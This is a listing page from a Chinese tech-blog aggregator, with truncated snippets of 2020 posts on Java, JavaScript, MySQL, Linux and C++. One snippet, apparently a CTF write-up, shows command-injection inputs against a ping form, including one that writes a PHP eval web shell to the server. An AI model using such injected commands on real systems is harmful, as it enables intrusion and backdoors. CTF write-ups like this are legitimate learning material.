缘起 上周修改一个Bug,本来以为只需要做一些小调整就可以,后来还是发现由于受对象间的状态影响,出现了另一个错误。这也让我进一步思考对于系统设计和建模来说:面向对象是错误的,会带来后期的很多问题。 面向对象 在面向对象的设计中,系统是由对象和让对象状态发生改变的方法,让对象到达另一种状态来达到目的的 ...
分类:
其他好文 时间:
2020-03-04 19:02:21
阅读次数:
53
第一次用IDEA搭建springboot+dubbo+zookeeper项目中碰到了一些问题,现在记录下来, 第一步:项目准备工作 工具IDEA,先下载安装zookeeper和dubbo Zookeeper下载地址:https://zookeeper.apache.org/releases.html ...
分类:
编程语言 时间:
2020-03-04 19:02:00
阅读次数:
71
春节的时候因为不能出门,在家看完了《软件创富》这本书。这本书围绕共享软件展开,对软件历史感兴趣的朋友,非常推荐你去看这本书。下面是我的一些体会,跟大家分享 1、书籍简介 这本书由邓洪涛、闫辉编写,刘韧、蒋涛作序,周筠担任责任编辑。主要讲述了2000年前后,中国的软件开发者开发共享软件的故事。全书共分 ...
分类:
其他好文 时间:
2020-03-04 19:01:47
阅读次数:
59
const PRIVATE_KEY_PATH = '/home/work/tool/openssl-keys/private_key.pfx';//私钥const PUBLIC_KEY_PATH = '/home/work/tool/openssl-keys/public_key.cer';//公钥 ...
分类:
其他好文 时间:
2020-03-04 19:01:27
阅读次数:
68
1 问题描述 开发环境发版平台报 Too many open files,重启后恢复正常。事后复盘一下问题可能出在哪儿。 2 os限制了打开文件数? Linux限制进程打开文件数默认是1024。 执行 ulimit a 发现 open files 是 65530,正常情况下不至于打满。 也可以执行 ...
分类:
其他好文 时间:
2020-03-04 19:01:08
阅读次数:
90
//千分位 (万转元) function price(a){ var num = Number(a); if(!num){//等于0 return num+'.00'; }else{//不等于0 num=num*10000;//万到元(*修改此处,可灵活使用) num+='';//转成字符串 var ...
分类:
Web程序 时间:
2020-03-04 19:00:51
阅读次数:
94
随机产生15个不想等的[0,100]之间的随机数,对这15个数从小到大排序,然后应用二分法查找34是否在这15个随机数里边 1 function random(num) { 2 var arr = [] 3 while(arr.length < num) { 4 var num = Math.flo ...
分类:
其他好文 时间:
2020-03-04 19:00:34
阅读次数:
52
js的声明和引入: <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>js的声明呵和引入</title> <!--声明js代码域--> <!--引入外部声明好的js文件--> <script src="js/my.js" type ...
分类:
Web程序 时间:
2020-03-04 19:00:18
阅读次数:
61
一个简单的ping,还没有过滤,源码也给出来了 ls一下 127.0.0.1 & ls 有一个可疑的php文件,,,但是直接访问和 cat 都出不来。。。 试了几下反弹shell,没成功。。。于是直接用echo了一个一句话进去 127.0.0.1 & echo "<?php eval(@\$_POS ...
分类:
Web程序 时间:
2020-03-04 19:00:03
阅读次数:
495
<!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>document对象学习</title> <!-- document对象学习: 1、document对象的概念 浏览器对外提供的支持js的用来操作HTML文档的一个对象,此对象封存 ...
分类:
Web程序 时间:
2020-03-04 18:59:47
阅读次数:
89
ll 查看cd /etc 进入 etcmkdir /mnt/cdrom 在mnt目录下创建cdrom文件cd /etc/yum.repos.d/rm -rf *.repo 删除源文件vi local.repo 创建配置文件[local]name=cdrombaseurl=file:///mnt/cd ...
分类:
其他好文 时间:
2020-03-04 18:59:24
阅读次数:
62
一:DataX下载 下载页面地址:https://pan.baidu.com/s/10J83j25_ohC4O3XHl9diDQ 提取码: cq6n 二:安装 将下载后的压缩包直接解压安装到电脑上就可以了 三:测试 要想运行datax先要安装python环境: 检验是否存在python环境在cmd中 ...
分类:
数据库 时间:
2020-03-04 18:58:56
阅读次数:
435
<html> <head> <title>js的常用对象和方法</title> <meta charset="UTF-8"/> <!-- 常用的对象和方法: 1、String 2、Date 3、Math 4、Global --> <!--声明js代码域--> <script type="text/j ...
分类:
Web程序 时间:
2020-03-04 18:58:35
阅读次数:
67
mysql innodb存储引擎 概要 1. 索引结构类型 1. 聚簇索引 1. 主键, 叶子节点包含数据行 2. 非聚簇索引 1. 索引列, 叶子节点为主键 2. 使用非聚簇索引时,先通过索引列查询到主键,再通过聚簇索引查询到数据行 3. 也成为第二索引 3. 覆盖索引 1. 如果select语句 ...
分类:
数据库 时间:
2020-03-04 18:58:02
阅读次数:
62
我们发现0是不能跨越区间的,且奇偶性不变,那么我们就分类讨论一下左端点开始的位置 奇数位当0处理,偶数位当1处理QAQ ...
分类:
其他好文 时间:
2020-03-04 18:57:45
阅读次数:
71
emplace_back和push_back是cpp11的新特性之一,都是对vector内添加元素的方法。 区别在于: push_bach(): 首先需要调用构造函数构造一个临时对象,然后调用拷贝构造函数将这个临时对象放入容器中,然后释放临时变量。 emplace_back(): 这个元素原地构造, ...
分类:
其他好文 时间:
2020-03-04 18:57:27
阅读次数:
65
JavaScript 的 replace() 方法可以在字符串中用一些字符替换另一些字符,或替换一个与正则表达式匹配的子串。 但是,只输入字符串的话,仅替换第一个字符,当然也可以用正则表达式来进行全局替换: 1 // 查找所有 word 替换成 words 2 string.replace(/wor ...
分类:
编程语言 时间:
2020-03-04 18:57:09
阅读次数:
82